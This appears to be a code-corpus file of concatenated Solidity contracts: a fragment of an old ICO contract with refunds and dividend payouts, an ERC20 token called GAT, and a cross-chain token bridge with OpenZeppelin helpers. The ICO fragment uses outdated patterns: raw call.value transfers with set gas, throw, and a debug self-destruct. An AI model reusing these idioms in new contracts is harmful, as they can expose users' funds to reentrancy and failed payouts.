WARNING - withdraw rewards/dividends before calling. // YOU HAVE BEEN WARNED // ---------------------------- function requestRefund() { address nrequester = msg.sender; updateIcoStatus(); uint ntokens = getHeld(holderAccounts[nrequester].tokens); if (icoStatus != IcoStatusValue.failed) StatEvent("No Refund"); else if (ntokens == 0) StatEvent("No Tokens"); else { uint nrefund = ntokens * tokenPrice; if (getNumTokensPurchased() >= minIcoTokenGoal) nrefund -= (nrefund /10); // only 90 percent b/c 10 percent payout holderAccounts[developers].tokens += ntokens; holderAccounts[nrequester].tokens = 0; if (holderAccounts[nrequester].balance > 0) { // see above warning!! if (!holderAccounts[developers].alloced) addAccount(developers); holderAccounts[developers].balance += holderAccounts[nrequester].balance; holderAccounts[nrequester].balance = 0; } if (!nrequester.call.gas(rfGas).value(nrefund)()) throw; //StatEventI("Refunded", nrefund); } } // --------------------------------------------------- // payout rewards to all token holders // use a second holding variable called PayoutBalance to do // the actual payout from b/c too much gas to iterate thru // each payee. Only start a new run at most once per "minpayinterval". // Its done in runs of "_numPays" // we use special coding for the holderAccounts to avoid a hack // of getting paid at the top of the list then transfering tokens // to another address at the bottom of the list. // because of that each holderAccounts entry gets the payoutid stamped upon it (top two bytes) // also a token transfer will transfer the payout id. // --------------------------------------------------- function doPayout(uint _numPays) internal { if (totalTokensMinted == 0) return; if ((holdoverBalance > 0) && (payoutBalance == 0) && (now > (lastPayoutTime+minPayInterval))) { // start a new run curPayoutId++; if (curPayoutId >= 32768) curPayoutId = 1; lastPayoutTime = now; payoutBalance = int(holdoverBalance); prOrigPayoutBal = payoutBalance; prOrigTokensMint = totalTokensMinted; holdoverBalance = 0; lastPayoutIndex = 0; StatEventI("StartRun", uint(curPayoutId)); } else if (payoutBalance > 0) { // work down the p.o.b uint nAmount; uint nPerTokDistrib = uint(prOrigPayoutBal)/prOrigTokensMint; uint paids = 0; uint i; // intentional for (i = lastPayoutIndex; (paids < _numPays) && (i < numAccounts) && (payoutBalance > 0); i++ ) { address a = holderIndexes[i]; if (a == address(0)) { continue; } var (pid, held) = getPayIdAndHeld(holderAccounts[a].tokens); if ((held > 0) && (pid != curPayoutId)) { nAmount = nPerTokDistrib * held; if (int(nAmount) <= payoutBalance){ holderAccounts[a].balance += nAmount; holderAccounts[a].tokens = (curPayoutId * (2 ** 48)) | held; payoutBalance -= int(nAmount); paids++; } } } lastPayoutIndex = i; if (lastPayoutIndex >= numAccounts || payoutBalance <= 0) { lastPayoutIndex = 0; if (payoutBalance > 0) holdoverBalance += uint(payoutBalance);// put back any leftovers payoutBalance = 0; StatEventI("RunComplete", uint(prOrigPayoutBal) ); } else { StatEventI("PayRun", paids ); } } } // ---------------------------- // sender withdraw entire rewards/dividends // ---------------------------- function withdrawDividends() public returns (uint _amount) { if (holderAccounts[msg.sender].balance == 0) { //_amount = 0; StatEvent("0 Balance"); return; } else { if ((msg.sender == developers) && (now < vestTime)) { //statEvent("Tokens not yet vested."); //_amount = 0; return; } _amount = holderAccounts[msg.sender].balance; holderAccounts[msg.sender].balance = 0; if (!msg.sender.call.gas(rwGas).value(_amount)()) throw; //StatEventI("Paid", _amount); } } // ---------------------------- // set gas for operations // ---------------------------- function setOpGas(uint _rm, uint _rf, uint _rw) { if (msg.sender != owner && msg.sender != developers) { //StatEvent("only owner calls"); return; } else { rmGas = _rm; rfGas = _rf; rwGas = _rw; } } // ---------------------------- // get gas for operations // ---------------------------- function getOpGas() constant returns (uint _rm, uint _rf, uint _rw) { _rm = rmGas; _rf = rfGas; _rw = rwGas; } // ---------------------------- // check rewards. pass in address of token holder // ---------------------------- function checkDividends(address _addr) constant returns(uint _amount) { if (holderAccounts[_addr].alloced) _amount = holderAccounts[_addr].balance; } // ------------------------------------------------ // icoCheckup - check up call for administrators // after sale is closed if min ico tokens sold, 10 percent will be distributed to // company to cover various operating expenses // after sale and usage dealines have been met, remaining 90 percent will be distributed to // company. // ------------------------------------------------ function icoCheckup() public { if (msg.sender != owner && msg.sender != developers) throw; uint nmsgmask; //nmsgmask = 0; if (icoStatus == IcoStatusValue.saleClosed) { if ((getNumTokensPurchased() >= minIcoTokenGoal) && (remunerationStage == 0 )) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; // 9 percent auxPartnerBalance = (totalTokenFundsReceived/100); // 1 percent nmsgmask |= 1; } } if (icoStatus == IcoStatusValue.succeeded) { if (remunerationStage == 0 ) { remunerationStage = 1; remunerationBalance = (totalTokenFundsReceived/100)*9; auxPartnerBalance = (totalTokenFundsReceived/100); nmsgmask |= 4; } if (remunerationStage == 1) { // we have already suceeded remunerationStage = 2; remunerationBalance += totalTokenFundsReceived - (totalTokenFundsReceived/10); // 90 percent nmsgmask |= 8; } } uint ntmp; if (remunerationBalance > 0) { // only pay one entity per call, dont want to run out of gas ntmp = remunerationBalance; remunerationBalance = 0; if (!founderOrg.call.gas(rmGas).value(ntmp)()) { remunerationBalance = ntmp; nmsgmask |= 32; } else { nmsgmask |= 64; } } else if (auxPartnerBalance > 0) { // note the "else" only pay one entity per call, dont want to run out of gas ntmp = auxPartnerBalance; auxPartnerBalance = 0; if (!auxPartner.call.gas(rmGas).value(ntmp)()) { auxPartnerBalance = ntmp; nmsgmask |= 128; } else { nmsgmask |= 256; } } StatEventI("ico-checkup", nmsgmask); } // ---------------------------- // swap executor // ---------------------------- function changeOwner(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; owner = _addr; } // ---------------------------- // swap developers account // ---------------------------- function changeDevevoperAccont(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; developers = _addr; } // ---------------------------- // change founder // ---------------------------- function changeFounder(address _addr) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; founderOrg = _addr; } // ---------------------------- // change auxPartner // ---------------------------- function changeAuxPartner(address _aux) { if (msg.sender != owner || settingsState == SettingStateValue.lockedRelease) throw; auxPartner = _aux; } // ---------------------------- // DEBUG ONLY - end this contract, suicide to developers // ---------------------------- function haraKiri() { if (settingsState != SettingStateValue.debug) throw; if (msg.sender != owner) throw; suicide(developers); } // ---------------------------- // get all ico status, funding and usage info // ---------------------------- function getIcoInfo() constant returns(IcoStatusValue _status, uint _saleStart, uint _saleEnd, uint _usageEnd, uint _saleGoal, uint _usageGoal, uint _sold, uint _used, uint _funds, uint _credits, uint _remuStage, uint _vest) { _status = icoStatus; _saleStart = fundingStart; _saleEnd = fundingDeadline; _usageEnd = usageDeadline; _vest = vestTime; _saleGoal = minIcoTokenGoal; _usageGoal = minUsageGoal; _sold = getNumTokensPurchased(); _used = getNumGames(); _funds = totalTokenFundsReceived; _credits = partnerCredits; _remuStage = remunerationStage; } // ---------------------------- // NOTE! CALL AT THE RISK OF RUNNING OUT OF GAS. // ANYONE CAN CALL THIS FUNCTION BUT YOU HAVE TO SUPPLY // THE CORRECT AMOUNT OF GAS WHICH MAY DEPEND ON // THE _NUMPAYS PARAMETER. WHICH MUST BE BETWEEN 1 AND 1000 // THE STANDARD VALUE IS STORED IN "maxPaysPer" // ---------------------------- function flushDividends(uint _numPays) { if ((_numPays == 0) || (_numPays > 1000)) { StatEvent("Invalid."); } else if (holdoverBalance > 0 || payoutBalance > 0) { doPayout(_numPays); } else { StatEvent("Nothing to do."); } } function doDeveloperGrant() internal { if (!developersGranted) { developersGranted = true; numDevTokens = (totalTokensMinted * 15)/100; totalTokensMinted += numDevTokens; if (!holderAccounts[developers].alloced) addAccount(developers); uint newHeld = getHeld(holderAccounts[developers].tokens) + numDevTokens; holderAccounts[developers].tokens = newHeld | (curPayoutId * (2 ** 48)); } } }
--------------------------------------------------- allocate a new account by setting alloc to true set the top to bytes of tokens to cur pay id to leave out of current round add holder index, bump the num accounts ---------------------------------------------------
function addAccount(address _addr) internal { holderAccounts[_addr].alloced = true; holderAccounts[_addr].tokens = (curPayoutId * (2 ** 48)); holderIndexes[numAccounts++] = _addr; }
12,974,009
pragma solidity ^0.4.23; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address => bool) _frozenAccount; // FreezableToken uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(balances[_to].add(_value) >= balances[_to]); // Check for overflows require(!_frozenAccount[msg.sender]); require(!_frozenAccount[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param target address * @param value The amount of token to be burned. */ function burn(address target, uint256 value) onlyOwner public { require(value <= balances[target]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[target] = balances[target].sub(value); totalSupply_ = totalSupply_.sub(value); emit Burn(target, value); emit Transfer(target, address(0), value); } } /** * @title Freezable Token * @dev Token that can be frozen and unfrozen. */ contract FreezableToken is BasicToken, Ownable { event FrozenFunds(address target, bool frozen); /** * @dev Freeze or unfreeze specified account * @param target Address to be frozen * @param freeze either to freeze it or not */ function freezeAccount(address target, bool freeze) onlyOwner public { _frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /** * @dev Gets account frozen status. * @param _owner The address to query the frozen status. * @return Boolean status: frozen - true or 1, unfrozen - false or 0. */ function frozenAccount(address _owner) public view returns (bool) { return _frozenAccount[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens to array of address * @param _value uint256 the amount of tokens to be transferred for each address * @param _to array of address transfer to (max 100 address) */ function multiTransfer(uint256 _value, address[] _to) public returns (bool) { require(_to.length <= 100); require(_value.mul(_to.length) <= balances[msg.sender]); for(uint i = 0; i < _to.length; i++) { require(transfer(_to[i], _value)); } return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(balances[_to].add(_value) >= balances[_to]); // Check for overflows require(!_frozenAccount[_from]); require(!_frozenAccount[_to]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Get Achieve token * @dev GAT Smart Contract */ contract GAToken is DetailedERC20, StandardToken, BurnableToken, FreezableToken, PausableToken { /** * Init token by setting its total supply * * @param totalSupply total token supply */ constructor( uint256 totalSupply ) DetailedERC20( "Get Achieve token v2 official", "GAT", 18 ) public { totalSupply_ = totalSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balances[msg.sender] = totalSupply_; emit Transfer(0x0, msg.sender, totalSupply_); } /** * Refund if someone sent ETH to this contract (GAS also will be refunded) */ function() public payable { revert(); } }
Gets account frozen status. _owner The address to query the frozen status. return Boolean status: frozen - true or 1, unfrozen - false or 0./
function frozenAccount(address _owner) public view returns (bool) { return _frozenAccount[_owner]; }
1,057,268
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.11; import "./interfaces/ISwap.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; contract StreamBridgeCrossChain is Context { using SafeERC20 for IERC20; using SafeMath for uint256; mapping(address => address) public swapMapping2BSC; mapping(address => address) public swapMappingFrmBSC; mapping(bytes32 => bool) public filledBSCTx; address payable public owner; address public superAdmin; address payable public feeReceiver; uint256 public swapFee; uint256 public feePercentageInStream; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); event SuperAdminChanged( address indexed previousSuperAdmin, address indexed newSuperAdmin ); event FeeReceiverUpdated( address indexed prevFeeReceiver, address indexed newFeeReceiver ); event SwapPairCreated( bytes32 indexed bscRegisterTxHash, address indexed gen20Addr, address indexed bep20Addr ); event SwapStarted( address indexed gen20Addr, address indexed bep20Addr, address indexed fromAddr, uint256 amount, uint256 feeAmount, uint256 feeInStream, string chain ); event SwapFilled( address indexed bep20Addr, bytes32 indexed bscTxHash, address indexed toAddress, uint256 amount, string chain ); constructor( uint256 fee_Native, uint256 fee_PerStream, address payable fee_Receiver, address super_Admin ) { swapFee = fee_Native; feePercentageInStream = fee_PerStream; feeReceiver = fee_Receiver; owner = payable(msg.sender); superAdmin = super_Admin; } /** * Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * Throws if called transferOwnership by any account other than the super admin. */ modifier onlySuperAdmin() { require( superAdmin == _msgSender(), "Super Admin: caller is not the super admin" ); _; } modifier notContract() { require(!isContract(msg.sender), "contract is not allowed to swap"); _; } modifier noProxy() { require(msg.sender == tx.origin, "no proxy is allowed"); _; } function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } /** * Leaves the contract without owner. It will not be possible to call * `onlySuperAdmin` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlySuperAdmin { emit OwnershipTransferred(owner, address(0)); owner = payable(0); } /** * Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address payable newOwner) public onlySuperAdmin { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * Change Super Admin of the contract to a new account (`newSuperAdmin`). * Can only be called by the current super admin. */ function changeSuperAdmin(address newSuperAdmin) public onlySuperAdmin { require( newSuperAdmin != address(0), "Super Admin: new super admin is the zero address" ); emit SuperAdminChanged(superAdmin, newSuperAdmin); superAdmin = newSuperAdmin; } /** * Transfers fee receiver to a new account (`newFeeReceiver`). * Can only be called by the current owner. */ function changeFeeReceiver(address payable newFeeReceiver) public onlySuperAdmin { require( newFeeReceiver != address(0), "Fee Receiver: new fee receiver address is zero " ); emit FeeReceiverUpdated(feeReceiver, newFeeReceiver); feeReceiver = newFeeReceiver; } /** * Returns set minimum swap fee */ function setSwapFee(uint256 fee) external onlyOwner { swapFee = fee; } /** * Returns set minimum swap fee in STRM */ function setSwapFeePercentageOfSTRM(uint256 _feePerStream) external onlyOwner { require( _feePerStream < 100000000000000000000, "feePercentageInStream: Greater than 100 %" ); feePercentageInStream = _feePerStream; } /** * createSwapPair */ function createSwapPair( bytes32 bscTxHash, address bep20Addr, address gen20TokenAddr ) external onlyOwner returns (address) { require( swapMapping2BSC[bep20Addr] == address(0x0), "duplicated swap pair" ); swapMapping2BSC[bep20Addr] = address(gen20TokenAddr); swapMappingFrmBSC[address(gen20TokenAddr)] = bep20Addr; emit SwapPairCreated( bscTxHash, gen20TokenAddr, bep20Addr ); return address(gen20TokenAddr); } /** * fill Swap between 2 chains */ function fillSwap( bytes32 requestSwapTxHash, address bep20Addr, address toAddress, uint256 amount, string calldata chain ) external onlyOwner returns (bool) { require(!filledBSCTx[requestSwapTxHash], "bsc tx filled already"); address genTokenAddr = swapMapping2BSC[bep20Addr]; require(genTokenAddr != address(0x0), "no swap pair for this token"); require(amount > 0, "Amount should be greater than 0"); ISwap(genTokenAddr).mint(toAddress, amount); filledBSCTx[requestSwapTxHash] = true; emit SwapFilled( genTokenAddr, requestSwapTxHash, toAddress, amount, chain ); return true; } /** * swap token to other chain */ function swapToken( address gen20Addr, uint256 amount, string calldata chain ) external payable notContract noProxy returns (bool) { address bep20Addr = swapMappingFrmBSC[gen20Addr]; require(bep20Addr != address(0x0), "no swap pair for this token"); require(msg.value >= swapFee, "swap fee is not enough"); require(amount > 0, "Amount should be greater than 0"); require( feePercentageInStream < 100000000000000000000, "feePercentageInStream: Greater than 100 %" ); uint256 feeAmountInStrm = 0; if (feePercentageInStream > 0) { feeAmountInStrm = amount.mul(feePercentageInStream); feeAmountInStrm = feeAmountInStrm.div(100000000000000000000); amount = amount.sub(feeAmountInStrm); IERC20(gen20Addr).safeTransferFrom( msg.sender, feeReceiver, feeAmountInStrm ); } if (msg.value != 0) { owner.transfer(msg.value); } IERC20(gen20Addr).safeTransferFrom(msg.sender, address(this), amount); ISwap(gen20Addr).burn(amount); emit SwapStarted( gen20Addr, bep20Addr, msg.sender, amount, msg.value, feeAmountInStrm, chain ); return true; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.11; interface ISwap { /** * Creates `amount` tokens and assigns them to `recipient`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner * - `_mintable` must be true */ function mint(address recipient, uint256 amount) external; /** * Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as 